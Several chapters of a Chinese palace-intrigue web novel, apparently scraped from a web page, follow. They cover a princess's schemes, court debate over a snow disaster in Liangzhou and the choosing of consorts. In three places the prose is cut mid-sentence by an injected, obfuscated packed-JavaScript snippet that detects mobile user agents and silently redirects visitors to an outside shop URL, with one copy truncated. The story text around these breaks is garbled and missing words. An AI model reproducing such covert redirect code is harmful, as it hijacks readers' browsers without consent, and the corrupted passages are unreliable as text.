他修养四年，却显得有些颓废，甚至还不及沁澜一名女子坚韧。
“今日早朝吵闹，争论不休。但忠勤伯‘晋升’为驸马都尉之事已成定局。”蔫润知揉着额角，试图振作精神，“不出半月，定会正式宣告。”
“王爷为何突然如此笃定？”夏半从不上朝，身边又无暗卫，多数消息仅凭猜测得来，即便再聪慧，信息也难免闭塞。
“现下已至十月十九，距年关不过两月有余。后宫空虚，年前必会挑选数名官宦之女入宫为妃。加之年后有明昭王朝首次科举，事务繁忙。父亲这事不过是小风波，且因身份之故必须速速平息。
待尘埃落定，嫡公主的府邸选址也将提上日程。我若能再忍耐些时日，或许还能觅得一线转机。”
“亲王府与公主府的筹备皆非易事。从选址到竣工，再到精心装饰，整个过程耗时至少一年。这一年里，王爷定是……”
夏半话说一半，叹息道：“新帝的心思难以捉摸，若他心中尚存旧情，待大权在握之时，公主殿下又将怎样逃脱呢……”
“他不会有那一天的。”蔫润知突然打断，语气凝重，眼神变得坚毅。
他挺直身姿，望着门外天穹道：“我非迟钝之人。朝中太后与各派势力的算计我心中有数。太祖皇帝作为开国君主战功赫赫，威望不可动摇。”
“……奴才愚钝。”
“无妨，车到山前必有路。”蔫润知俯身拾起散落的废纸团，一一展平置于案上，“暗卫之事，必须加紧筹谋了。”
＆
雷霆轰鸣，风雨交加，烟雾缭绕，景象朦胧。
……
一番折腾后，已过一个半时辰有余。
萧沁澜闭着双眼，缓了缓心中的激荡，随即将身旁之人一把推开，拉过近旁的锦被紧紧包裹自己。
“好歹是个少爷，屋内却仅有一个炭盆，也不怕冻死。”声音略带哑涩，并不严重，此番声势浩大，实则朱唇轻启并未持续太久。
陆承韫面色微沉，与往日从容不迫的模样大相径庭。
他勉强点了点头，“嗯，以后我会留意。”
语气中难掩不悦，萧沁澜偏头审视着他，忽地轻笑出声，“你这是在给我脸色看吗？”
“怎会。”陆承韫连忙否认，长长地舒了口气，为她细心掖好被角，起身披上外衣，又往炭盆里添了些红罗炭。
待诸事毕，方才手执清茶，缓步至床榻边，“喝吗？”
萧沁澜避开了他的触碰。
她自幼习武，虽不说天下前几、武林顶尖，可体魄强健，远超常人。
这次急躁鲁莽，直截了当，没有过多花样，体力几无损耗……
喔！
原来是自觉稀烂，自责自悔。
“你身侧无侍妾相伴，是常情。不必多想。”萧沁澜扯过被褥垫于枕头之下，起身靠在其上，“天长地久，些许小事，无须挂怀。”
……
室内静谧，良久无声，想来是先前的戏谑过甚，致使他重拾的信心再次被冷水浇头，难免沮丧。
萧沁澜此行本非为贪图安逸，见他沉默以对，遂另起话头，“当今朝野，定国公的老臣一派多已伏法，但他钻营多年，势力错综复杂，京师之外零散余党还有几个。你可曾想过，我为何不顾明昭王朝的清誉，执意要扶陆墨凌上位？”
这句话纯属多余，不过是安慰他罢了。
陆承韫一向多思多虑，加之刚才的满足，此刻内心几乎毫无防备。
“钓鱼。想要清除朝中隐患，弊清风绝，确保明昭王朝无后顾之忧，
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161799|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
真正实现野无遗贤之治。”
“是啊。但我此举恐怕将引来后世非议，谓之明昭帝王皆命运多舛。”
陆承韫听罢霍然转身，目光慎重地凝视着她，“兄长与你自幼相知，至今并无过失。”
她这话，不就是早已做好死局……为兄长。
那自己呢？
萧沁澜抬眸直视他，两人目光交汇。
这封建时代的复杂程度超乎想象。
定国公等人对他已近极端，几乎要将他推向深渊，而他仍然为定国公求情，他的第一反应竟是这样？
只能说这个架空朝代绵延千载，“以孝治国”的理念依旧深入人心，非一朝一夕所能更易。
观他的所思所想，看来，自己需要调整昔日的若干规划。
算了，慢慢来吧。
萧沁澜低吟一声“嗯”，收回视线，靠在他的肩上，“只要陆墨凌循规蹈矩，不存非分之念，我必不添乱，还会在关键时刻暗中提点。自然，一切皆建立在你无意于帝位之上。”
陆承韫闻言一时语塞，对适才的失言摇头，勉力一笑，“十四岁前，庄中民风纯良，我自在逍遥，众人待我胜似亲子，可自从与母亲团聚……”
他未言尽，萧沁澜却即刻领悟。
他心中对皇帝之位还是藏有期待的，仍旧想要家人后悔臣服。
刚才这话怕是多年习惯使然，随口而出，未必能作数。
否则那些暗卫不会存在，那些追随他父亲的老臣，家族也不会遭遇灭顶。
“风烟已散，唯余江水滚滚东流，连绵不绝。未来尚需诸多筹谋。不过，有你今日之言，我心甚安。待你登基之时，我便将定国公交予你。是加以利用，抑或是另作他罚，皆由你自己定夺。”
“届时，一切依时局而变。”陆承韫迅速恢复常态，不再沉浸于感伤之中，吻了吻她的额角，语调轻松，眼神却藏着深邃，“大事需精心策划，非一日之功。但顶多一两年光景，拖延过久恐生变故。我对此有信心，你呢？”
“两年太长，待反对臣子一一落网，便推进下一步计划。”
“我若登基，然后呢？”
“你称帝，我退隐。”
“沁澜，你的手下皆忠心不二。”
“你若心存疑虑，我可将名单悉数奉上。”
“你不必勉强，有你及众多忠臣在侧，后宫无需再纳他人。”
萧沁澜气笑了，“你是要束缚我吗？”
陆承韫摇头，却未正面回应，隔着被褥抚摸她的小腹，“若太子已立，天下太平，无论宫内宫外，你皆可自由翱翔。”
“你担心我逃离？”萧沁澜挑眉，未置可否。
这句话显而易见。
但凡目睹过她昔日风采、了解她今日真性情者，无不担忧。
她既是他心中的首位，也将是他唯一的妻与后。
事若成，陆承韫不愿有丝毫变数。
他再次认真问道：“可以吗？”
“好啊，事成之后，只要你全心全意，我便应允。一胎六宝，三男三女，如何？”
开玩笑，谁愿意在这医疗技术匮乏的古代生儿育女！
尤其还重子轻母！
万一有个闪失，死在产房都无人问津！
将来孩子若有个高官继母，再生个嫡子，肯定会受排挤欺凌，甚至性命堪忧！
赌男人对原配的那点微薄情意？还不如……
先帝创业未竟，半途离世。
她正值青春年华，怎会轻易言生！
傻逼才生！
32. 一胎六宝
一胎六宝，三男三女？
妇人生产何其凶险，母亲便是因此，对他多有怨恨。
且这话听来颇为夸张。
陆承韫原本颓废的心情突然变得愉悦，平静的眼眸中泛起波澜，“无需如此，有名副其实的皇位继承人，一个太子便足矣。”
此行主要是为了安抚他心，一番闲聊后，目的基本达成。
既然事情已妥，萧沁澜便无意久留。
她起身整理衣物，“近日我得知一事，若能成功，进程将大为加速。用不了多长时间，定国公的士气便会彻底萎靡。”
她果真人脉强大。
京师内外有其他大事？
陆承韫凝望着她的背影，眸色渐深，“何事？”
萧沁澜凑近。
……
炭火正旺，发出“噼里啪啦”的声响，屋内添了几分暖意。
“……事情便是这样。”交代完毕，萧沁澜亦穿戴整齐，正欲离去，不料陆承韫不知何时已来到身前，伸手拦住了她的去路，只是垂眸直勾勾、静静地看着她，一语未发。
萧沁澜眉头微不可察地轻蹙，踮脚主动献上一吻，抬手抚了抚他的脸颊，“乖，很快会再见。明日有礼物送你。”
言罢，她毫不拖泥带水，利落地跃窗而出，始终未曾回望。
屋内空旷，一片静谧，陆承韫关上窗扉，缓缓走向床边，望着那凌乱的景象，神色难辨。
＆
宁安宫中一夜安眠。
次日清晨，萧沁澜刚享用完她最爱的早膳，便见宫女疾步入内禀告“陛下驾到”。
她漠然无动地挥手，示意宫女退下，依照今日计划步入院中，耍了一套花里胡哨的剑招，方回身收势，剑尖轻旋，挽了个漂亮的剑花。
完成晨练，简单梳洗之后，她转向屋内桌旁端坐的兄长，端庄地施了一礼，“皇兄。”
“坐吧。”萧墨凌眼含笑意，自然回应。
或许因今日仅有兄妹二人，他的言语间多了几分随意与畅快，少了面对太后时的那份装模作样。
萧沁澜也不客套，径直坐下，问道：“皇兄今日前来，莫非有喜事相告？”
“难道非得有事才能来吗？”萧墨凌的笑容顿时收敛，苦笑摇头，“不过，确实有好消息。你前几日所求之事已有定论，待明日于乾清宫与众臣商议后，便依你所愿，‘提升’忠勤伯为驸马都尉，并御赐牌匾。此外，润知也将迁居，入住醇亲王府。”
“亲王府是计划重建，还是从旧址中挑选重建？”
“依润知的要求吧。若时间紧迫，可自行挑选符合规格的府邸，整修后重新装饰便可入住。若动作迅速，三月内即可完成。”
“那御赐''驸马都尉''牌匾之事……”
“朕已留意。”萧墨凌漆黑的眸子深沉地望着她，意味深长，好似在期待什么。
蹉跎四年，萧沁澜现今表现虽略显怯懦，但昔日战乱起义时，她所展现的聪明才智，是不可能随时间消逝殆尽，过分装蠢反而令人难以置信。
他这话、这眼神直白而浅显，不会不懂。
萧沁澜笑意盈盈地真诚赞美、暗中恭维，顾左右而言他。
殿内一时欢声笑语，几番言语交锋后，萧沁澜话锋突变，“那日皇兄不在，母后召我共进晚膳，膳后提及后宫空虚，想要为皇兄选妃。
皇族血脉需绵延不绝，龙子龙孙必须众多。这不仅是前朝所望，也是天下百姓的期盼。不知皇兄心中可有倾慕之人？皇妹也好提前为皇兄把关，再向母后求情。”
话音刚落，原本正烹茶添水、垂首添炭、擦拭窗几、清扫庭院的宫女或太监们，当即屏息凝神，头垂得更低，动作愈发小心翼翼。
陛下与贤昭公主自幼相伴，青梅竹马，并肩作战至今。
是纯粹的兄妹情深？抑或是另一番深情厚意……
外界多有揣测，可他们心中明镜，定是后者无疑。
果不其然，萧墨凌听罢眉头瞬间紧锁，眼神收敛，面色马上转为阴沉。
多年征战所积累的威严与气势，在这一刻显露无遗。
即便相隔甚远，也能感受到那股令人窒息的压迫感。
“你想让朕纳妃？”
平心而论，萧沁澜并无此意。
诛杀心怀异志的官员不是难事。
但若接连不断的有官员死亡，朝野必将人心惶惶，众人会忙于自保与揣测圣意，怎么可能专心政务。
扶他上位，旨在借他的身份，清除难以正面交锋的权臣显贵。
萧沁澜从未打算让他久居此位。
古时女子地位卑微，除皇后及一二位重臣之女外，多数女子即便贵为皇贵妃，终归不过一妾室。一旦失宠或犯错，随时可遭贬黜。
在封建观念中，妾室仅是满足私欲、彰显权势之物，亦是‘上奉宗庙，下延血脉’的工具罢了。
并无多少女子是真的想争风吃醋，舍命讨好。
大肆选妃……
待陆墨凌死后，那些女子下场定会凄惨，无家可归，蹉跎一生。
仅是从官员家中选几位入宫……需得嚣张跋扈、视人命如草芥，还得身份尊贵，让定国公挑不出问题。
说来也巧，她刚好知道有那么两位。
待科举之后，也就是明年三月份，陆墨凌也该让位了。
久久等不到回答，萧墨凌对她不甚满意，“沁澜，你莫不是……已有皇后人选？”
“也不限为皇后。”萧沁澜从纷杂思绪中抽离，淡然一笑，“皇兄选妃，应先遣宦官遍访各地，挑选适龄女子。这一来一回，月余已过，转眼便是新年。皇嫂作为天下之母，挑选不可这般草率。”
“如此说来，沁澜是不愿朕选妃？”萧墨凌心情稍缓，正欲与她讨论国事，却闻对面又开始戳他心窝。
“皇兄仅有一名通房丫头，至今尚未册封，料想是在静待时机，或与其他娘娘一同晋升。
喔！险些遗忘，初雪消融之际，母后会筹备赏花宴，届时京师五品以上官宦之家的女子皆会被邀请，其意皇兄自然明了。
请皇兄放心，皇妹届时定当尽心筛选，为皇兄觅得德才兼备的佳丽。”
此言一出的结果，便是萧墨凌不悦地拂袖离去。
跟随的宫女、太监皆噤若寒蝉。
待他的身影消失，萧沁澜望向天边阴沉，轻挑黛眉，“本采，今日众人受惊，吩咐小厨房备些点心茶水，让大家轮流歇息，我这儿无需太多人侍候。”
“遵命。”本采含笑应承，随即步出寝殿，宣布赏赐。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161800|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
殿外顿时响起连绵不绝的叩谢之声，萧沁澜却不急于上前搀扶。
人心固执难移，过分宽仁或致“升米恩，斗米仇”。
无论对下人或他者，相助之余亦需保持适度距离，以防关系失衡，反遭暗箭。
若因一时之仁，在青史上留下不光彩的一笔，那将是何等悲哀。
宣布完毕，本采回到屋内。
萧沁澜蜷缩在贵妃榻上，舒适地裹着毛毯，翻阅着话本，假装拭去并不存在的泪水。
主仆二人对着书本，一边阅读，一边对写出痴男怨女的撰者指指点点，咒骂个不停。
＆
冬日的第一场雪比预期提前降临，距离上次与陆承韫相见已过去六日，现下尚不足十一月，京师已是一片寒意。
雪花洋洋洒洒。不大，却连绵不绝。
对于财权无忧的王公贵族而言，这番景致倒是颇为赏心悦目。
屋内炭火“噼啪”作响，宁安宫内温暖如春。
萧沁澜手捧手炉，静默沉思，静静聆听着近日的消息汇报。
“半月前，凉州一带气温骤降，严寒逼人，突遭暴雪侵袭。
百姓与州县皆措手不及，目之所及，尽是白茫茫一片，家中积蓄难以应对。仓促赶制的冬衣数量有限，导致无数生灵因寒冷而丧生。
尽管那里有人居住，但人口分散且地处偏远，就算从那时起日夜兼程地赶往京师求援，也需期月之久。”
说至此，本采神色略黯，却又转瞬释然，眉宇间洋溢着轻松，“多亏主子早有预见，提前部署。假借富商之名搭设屋舍与粥棚，分发冬衣。同时鼓励百姓参与重建，并支付酬劳。现如今局势已大体受控。”
“本宫因民而生，自当为民解忧。”
萧沁澜握着手中精巧的手炉，语调平和，难辨喜怒，“幸而此番只是雪灾，牵扯不广。寻一处平坦之地建房，再辅以冬衣与粥食，尚可多救一些黎民。若遇旱涝则更为棘手，本宫……”
她摇头感慨，“便是有计，也难以执行。工程太大，动静太大。”
见她失落，本采宽慰道：“主子无需自责。天灾人祸难以尽避，能及时应对已属难能可贵了。这次死的人数不超过两掌。”
“……嗯。”萧沁澜手心发紧，起身看向窗外美景，“从凉州来京师的人，现于何处？”
“今日暗卫来报，人已抵京师，折子亦先行送达内阁。料想明日早朝，朝野内外将尽人皆知。”
言及此，本采复又感慨，“若非主子提前派遣暗卫护行与指引。这漫漫长途，岂是短短半个多月便能安然抵京的？”
“灾后疫病易发，必须有朝廷命官前往坐镇，本宫方得安心。”
萧沁澜眼神微眯，“商户赈灾之事，朝廷尚不知情。新帝初登大宝，便遇这等大灾，定会派遣一位高权重之人前往安抚民心。定国公不可轻离京城。你说……”
本采闻言一惊，连忙劝阻，“主子切莫念及二公子！他现下尚能为主子分忧解闷。前日抽签已定下靖郡王，一切布局均依照靖郡王性情而布下，再行更改会耗时耗力的！”
“本宫不过戏言，你倒认真了。”萧沁澜笑靥如花，轻轻拍了拍她的额头，起身自案几后取出一幅画卷，“今夜子时，将此画交予陆承韫。”
33. 选驸马
“凉州突降暴雪，众多房屋被压塌，连州府官衙亦未能幸免，情况堪忧？”
太和殿明堂之上，萧墨凌闻讯当即起身，神色严肃，眉眼间盈满凝重。
“确是如此。”太傅庆如韩出列禀告，“据快马传回的消息，途中艰难险阻重重，幸而天下太平，百姓心齐力聚，屡得善人相助，方得抵达驿站。沿途马匹损耗甚巨，然终在半月内抵达京师，将此紧急情报呈于御前。”
这番陈述平实无华，却字字真切，令萧墨凌紧绷的心弦稍缓，“那位传递消息的衙役现况如何？”
“陛下，衙役除却疲惫不堪，幸无外伤。据其所述，凉州雪灾之烈前所未有。臣斗胆建议，当务之急应先调拨粮草，救济受灾百姓，以解其燃眉之急。随后，朝廷应派遣得力人手，疏通受阻道路，并严加监督救援工作的执行。”
“太傅大人所言甚是。”定国公陆泽躬身言道：“凉州毗邻鄂尔多斯，冬日里那些野蛮之徒常行烧杀抢掠之恶。
此番雪灾赈济事小，只恐那些蛮子借机作乱。朝廷虽多年未战，但军备不懈。
臣以为，应加强边境防务，以防外族侵扰。同时，可调拨部分军队，协助地方官赈灾抢险，并驻守以示威慑。”
“定国公提及威慑，是担忧会有暴民之乱吗？”一直沉默的明远太后骤然出声，语气不怒自威，“天灾之下，百姓困苦，未及探明缘由便妄言暴民，非明君所为。陛下初登大宝，便贸然派兵镇守，会扰乱民众，失了民心。”
“太后圣明。”陆泽闻言，立即跪拜，“老臣思虑不周，确有疏忽。太后洞察秋毫，心怀天下，为陛下、为万民福祉着想，实为仁智双全。有太后辅佐，明昭王朝定能国泰民安，长治久安。”
“定国公现今……”太后停顿一息，意味深长地道：“倒是忧国忧民，淡泊名利。”
“多谢太后夸赞！”
“起来吧，众卿家可还有何高见？”
户部尚书站出，谈及农田受损及来年收成之虞，并建议朝廷拨款，特设一队以指导改种耐寒作物。
工部尚书则主张迅速修复受损民居，并设立临时避难所。
礼部尚书提议向上天祈福，祈求庇佑，并派遣专员赴灾区安抚民心，传达朝廷的关怀与慰问。
此言正中要害！
这次乃新帝登基后首遇的大灾，派遣何人、如何调配、授何官职、权力几何，一切种种，皆需深思熟虑。
按照常理，无论主官为谁，都应有皇家子弟同行同往，以彰显朝廷的深切关怀。
可……
人选该定谁呢？
醇亲王最为合适。
但若此行圆满，声名大噪，归京后醇亲王则更受百姓敬仰，风头或将盖过新帝。
毕竟新帝无显赫功绩，且又非严苛的萧氏血统，细想存疑。
宁郡王与靖郡王相较于新帝，确有几分可取之处，至少他们真正姓“萧”。
再加上精通医术的司空颢……
这些想法仅能在臣子们心中暗自盘桓，无人敢轻易吐露实情，只能避重就轻，借此时局委婉表达愿景。
询问意见？
无人应答。
再追问？
一句“尚可”敷衍了事。
一番争执又过去了小半个时辰，仍未有定论，萧墨凌渐生不耐，但面上依旧毫无波澜。
他龙袍一甩，作出总结，“赈灾之事，刻不容缓。待退朝后立即召见那位衙役，再马上细致筹划后续。”
随着太监一声礼喝，朝会宣告结束。
几位重臣同皇帝与太后前往乾清宫，继续商讨具体安排。
而从头到尾，“陆承韫”这个名字，始终未被任何官员提及。
＆
“古人常言‘九五之尊’，深信‘九’与‘五’乃世间最吉祥之数。
陆承韫得以踏入文华殿，与众位备太子同候选，共研治国安邦之策，全仰仗他的兄长，即本宫皇兄的地位。”
萧沁澜百无聊赖地修剪着晨间新摘花枝，索然寡欢道：“论及陆承韫本人，既无权势又无功绩，且在家族中不受重视。
京师之内，就算是路旁的一条犬只，也知避祸。朝中百官，谁愿意无故触怒新帝与定国公呢？”
本采手捧茶杯，立于她身侧，神色露出不忍，“奴婢曾听主子提过。二公子虽行事决绝，私下处理了众多轻视他的下人，与国公府的关键幕僚。可内心深处，似乎仍对……”
她竭力回忆着主子教过的新词汇，“哦，对了，是‘原生家庭’。二公子对原生家庭抱有期许。可奴婢不解，事已至此，他究竟还在期盼什么？”
“陆承韫并非你想象的那么单纯。”萧沁澜接过她手中的茶盏，指尖沾了点水渍，在花枝上洒下点点露珠，“三年前，他除了半吊子的武功，身边仅有一个憨厚的贴身侍卫……”
听到这里，本采指了指自己，随即用力摇头，撇撇嘴，坚决否认。
“能在短短三年，将西院牢牢控制在自己手中，且不让定国公府上下察觉分毫异样，足见他的手段狡黠多变。
至于那位幕僚，那可是随定国公历经生死、比国公夫人还要亲近的心腹。他身手不凡，却莫名惨死，事后竟无一丝线索可查，反而因此顺藤摸瓜，揭露了太后的部分势力。
由此可见，陆承韫此人心思缜密，世故圆滑。”
“定国公真的那么厉害吗？”本采疑惑地问：“奴婢出宫多次，所听所闻皆是他的糊涂之举。比如乘坐马车时竟不给太傅让路，越级挑战权威，愚蠢至极啊？”
“不过是因长期享福，自觉身后有无数追随者，便愈发肆意妄为，屡屡试探皇室的底线罢了。并非单纯越级挑衅。”
“哦……奴婢明白了。所以太后顺应定国公之意，表面上提拔，实则贬谪所有与他同宗的京师官员。最终竟连贬谪官员的幼儿也未放过，全部一一除之。有些……残忍。”
“……嗯。”停顿片刻，萧沁澜方轻声应和。
她细眉微挑，眸光中浮现淡漠，几不可见，一闪而逝。
她停下手中动作，将茶盏递还，接过手帕擦拭指尖。
本采见她不言不语，连忙跟随她的目光，急声安慰道：“主子，太后娘娘行事决绝，暗卫众多。幸而您名下的暗卫营行事极为谨慎，才未遭暴露。官员一事您已经尽力，怎能完全防范。”
“本宫明白。暗卫营再如何神出鬼没，却也难窥世间万事。”萧沁澜起身推开殿门，望向装饰奢华的寝宫外。
雪花翻飞，宫女、太监于严寒中忙碌不已，手脚不曾停歇，从曦光未现到万籁俱寂。
“京师华道，灯影重重。皇家、百官久居高位，俯瞰人间，只见车马喧阗，市肆喧嚣。红尘金玉遮其眼，锦绣高阁忘悲音。又有谁能真正体恤百姓之苦呢？"
“自然是太祖皇帝的唯一血脉、明昭王朝唯一的嫡公主、贤昭公主殿下了！”
不知何时，本采已来到她身旁，落后一步，与她并肩而行，“奴婢深知殿下非凡人可比。
心系百姓疾苦，闻贫民哀声。殿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161801|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下牺牲众多，方换来此刻的短暂安宁，与万民微薄的福祉。
奴婢坚信，待局势稳定，女子必能自由婚嫁，经营生意，踏入学堂！
而公主殿下垂范之后，定是人人享有良田美宅，世间再无冻饿之患，平民为官亦是寻常之事，轻而易举。”
“垂范？千年？莫非本宫是什么大妖鬼不成？净会胡说。”
“主子仁心善举，解救无数贫民于水火，凡追随者无不为主子的气度所折服。如此浩瀚功德，若能活得千年，亦是对主子慈悲的小小回报。简单，无可厚非。”
“好啊！届时本宫自会把你的重孙、重重孙、重重重孙都接到身边，让他们亲身体会，知晓祖母所言何等的悖逆。”
“若奴婢的后代胆敢嫌弃主子，奴婢一定会提前将他们带去地府，戳他脑门，好好揍一顿！”
……
难得放松心弦，谈笑风生间，见宫女、太监们已毕今日之事，萧沁澜便催促他们下去休息，并命小厨房备上糕点与姜茶以御寒。
谢恩之声不绝于耳，宁安宫内的温馨充盈满溢。
＆
初雪之后，冬夜早早降临。
酉时初刻，慈宁宫内已燃起炭炉，四周环绕着切好的蔬果与各式肉类。
萧沁澜应召而至，步入殿内脱下外氅，行礼后柔声问候，“母后万安。”
“无需多礼，贤昭每次来慈宁宫都这般讲究礼数，倒显得我们母女之间太过生分了。”
言罢，太后瞥了眼一旁的琉薇，“快来，初雪之后，正是品尝古董锅的好时节。说来还是贤昭见识广，在潜野时就发现了这等便捷美味的吃法。”
萧沁澜在琉薇的搀扶下缓缓站起，对她微微颔首，不卑不亢笑道：“也是御膳房巧思频出。
这羊肉熬制的高汤，怎能与普通清水同日而语？儿臣在远处便已嗅到母后宫中的香气。即便母后今晚未传唤，儿臣也定会厚着脸皮前来。”
“你这孩子，就爱说些甜言蜜语哄哀家开心。”太后笑言，示意宫女将薄如蝉翼的鱼肉片投入沸水中稍烫，率先夹至她的盘中。
面对如此厚待，萧沁澜再次感激感慨。
皇家衣食无忧，却也规矩繁多。
夜里更是提心吊胆，唯恐有刺客潜入，横遭不测，引得天下哗然，再被编排些无端之词……
不过话说回来，为官为民皆有其难处。
铜炉涮锅味道香浓，明远太后依旧恪守礼仪，除初行礼谢恩外，进食不言，就寝不语。
膳毕，太后遣散宫女，仅留琉薇与本采在侧，直陈其意。
“现今明昭国事，唯凉州雪灾为重。今日朝会后，已经派遣靖郡王以御史大夫之职，前往赈灾。连日来京师晴空万里，哀家意以为，是时候为皇上后宫增添几位嫔妃，以助明昭万年基业的传承了。”
“母后之意，儿臣领会。”萧沁澜手捧一碗温热的解腻羹汤，神色庄重地点头应道：“选妃之事，母后早前已与儿臣提及。
虽值隆冬，御花园中寒菊犹自绽放，正值赏花佳期。
至于送往各府的选妃帖子，是否由儿臣代劳办理？”
“不必，你身为公主，代理理所应当。可京师之中不乏愚钝之人。那些人若不解皇家心思，恐会闹出笑话。你年岁尚幼，与各家小姐必有诸多话题可聊。品性礼仪，便由贤昭观察了解。”
“是，儿臣谨遵母后旨意。”
“言及此，贤昭现已十九，赏花宴上还应邀请几位官家公子。好，此事便这样决定了。”
34. 洗洗干净，
十一月初一，初雪稍融，太后所设的赏花宴热闹非凡，于御花园中盛大举行。
园内罗裙轻舞，凡正五品以上未嫁的官宦之女皆应邀入宫，三两成群，葱玉般的手指触摸花朵，不时细语交谈。
“瞧这金背大红，色泽嫣红似火，金黄若织锦，花瓣细长交织，美不胜收。”
“快来看，这十八学士花，花苞硕大饱满，宛如学士帽般端庄，淡香袭人，清新而不刺鼻。”
“真的吗？我来闻闻。”
前来之际家人千叮咛万嘱咐，要端庄，要恪守礼节，万万不可做出太大动静。
贵女们难得相见，情难自禁，却谨记长辈嘱咐，只低声笑语。
人各百态，朝中高官间也从不缺骄纵的纨绔子弟，故意前来搅局，近身挑衅。
“哼，看你们一个个这德行。不过区区几朵花而已，像八辈子没见过似的，还巴巴儿地凑到一起讨论，真是丢人现眼！穷酸样子，上不得台面！怪不得衣着这么粗鄙。”
此言一出，自是惹得众人心中皆生不悦。
原本秀采飞扬的几位官宦之女，听罢愤然转身，目光触及来人，却在刹那间收敛了火气，敢怒而不敢言，只能道路以目，彼此交换着眼神，随后匆匆向她行礼，迅速离去。
一位从未踏出闺阁的小姐，好奇地询问此人身份。
那些家风开放、曾见过她的女子则急忙低声解释，“她啊，可是太祖皇帝母家的外孙女，现封为德伦郡主，父亲乃当朝外戚中权势最盛者。看到她今日所穿的浮光锦了吗？这便是太后娘娘亲赐之物。”
“太后所赐又如何？即便权势再大，她亦非明远太后母族之人。为何在宫中这般跋扈？难道不知尊卑有序？”
“嘘！轻声点，这德伦郡主岂止是不懂尊卑，更是知法犯法。被她残害的丫鬟、侍从数不胜数。凡她所好，皆会被纳入府中。美貌者将遭毁容之祸；老实者，则受鞭笞之辱。此人天性……咳，总之，避之都唯恐不及。一旦被她盯上，后果不堪设想的！”
“我父亲乃堂堂正四品官员，她能奈我何？莫非她敢当街鞭打我不成？”
“德伦郡主虽不至于当街动手，亦不会直接加害于你。但自今日起，你府中丫鬟、侍从一旦离府，莫名失踪将会是常事，再难归返。”
“这……光天化日之下，皇城根前，她竟敢这么的猖狂！陛下与太后娘娘怎会不闻不问？”
“哎，她是郡主身份。说到底不过是教训自家府中奴才，未闹到明面上，谁敢轻易非议？丫鬟失踪，谁又能确凿指认是她所为？更遑论那些没寻得尸首的。难不成只因怀疑，便公然搜查郡主府邸？此举不就是公然拂了皇家颜面吗？”
“真是……世风日下。未曾想我久居家中，外界竟已至这般境地。”
“罢了，还是忍一时之气，以求安宁。我们尚有父母兄妹需顾全，能避则避。瞧那浮光锦早早落于郡主之身，太后娘娘的意思，不言自明。对了，除她之外，祥和县主亦是脾性相近之人，遇着穿正红衣裙者，切记避而远之。”
＆
慈宁宫内，明远太后端坐首位，静静聆听宫女细述御花园中的种种。
待宫女退下后，她云淡风轻问道：“贤昭以为，今日赴宴的诸位之中，可有能担起皇帝妃子之责的？”
萧沁澜闻言放下手中暖汤，点头答道：“儿臣久居深宫，对各官家小姐的性情不甚了解。但听闻德伦公主姿色出众，且身份显赫。据方才宫女所言，她性情看来也颇为直率。既然皇后之位尚空，儿臣以为，郡主作为皇妃之选，倒是适宜。”
“嗯，贤昭此言正合哀家心意。”太后循循善诱，和风细雨道：“前朝政务繁重，皇帝妃子无需精通诗词歌赋，只需容貌悦目，性情直爽，不使皇帝费心猜度，便足以考虑。
唉……近日凉州遭雪灾侵袭，靖郡王已启程前往赈灾，却不知此刻行至何方，灾情是否得以缓解。哀家心中，实是忧虑难安。”
萧沁澜笑着宽慰，“母后心怀天下，实为明昭之幸。儿臣斗胆，有一提议，恳请母后垂听并赐教。”
“哦？难得贤昭这般直率，不知是何要事，能让贤昭如此上心？”
“母后过奖了。”萧沁澜起身行礼，抬眼说道：“皇兄新登大宝，朝野上下皆心悦诚服。但年近岁末，又遇雪灾。此时大张旗鼓选妃，恐对皇兄声望不利。
儿臣想，今年或许可先选两位妃子，待皇后人选确定后，再逐步充实后宫，以绵延皇家血脉。母后以为，此法是否妥当？”
“哀家以为，贤昭此议甚妥。德伦郡主性情直率，姿色出众，且哀家记得祥和县主亦是花容月貌，颇为合适。”
“母后所言极是，儿臣亦有同感。”
“甚好，那便依照此法决定。你去告知皇帝，让他做好准备，若觉适合，明日哀家便颁布懿旨。”
两人一唱一和，表面平静无波，甚为体贴。
短短一刻，话就传到了乾清宫内，萧墨凌闻听后脸色骤变，眼眸森然，神情难堪至极，手中握着的朱笔重重落下，狠狠甩在地面上，“啪嗒啪嗒”滚动几圈……
他烦躁地揉着眉心，靠在椅背上闭目，竭力平息内心的纷扰。
德伦郡主与祥和县主？
呵……
二人徒有其表，是出了名的行事嚣张、横行霸道，甚至可能草菅过无数人命。
只因二人身份尊贵，又是女子，无人直接得罪。
就连都察院的御史们，都对这位无实权的外戚嗤之以鼻。太傅等重臣心系国事，对此也仅提出浅尝辄止的建议，未曾正面冲突。
这样德行有亏之人进入后宫，一来是警醒自身，认清当前局势。
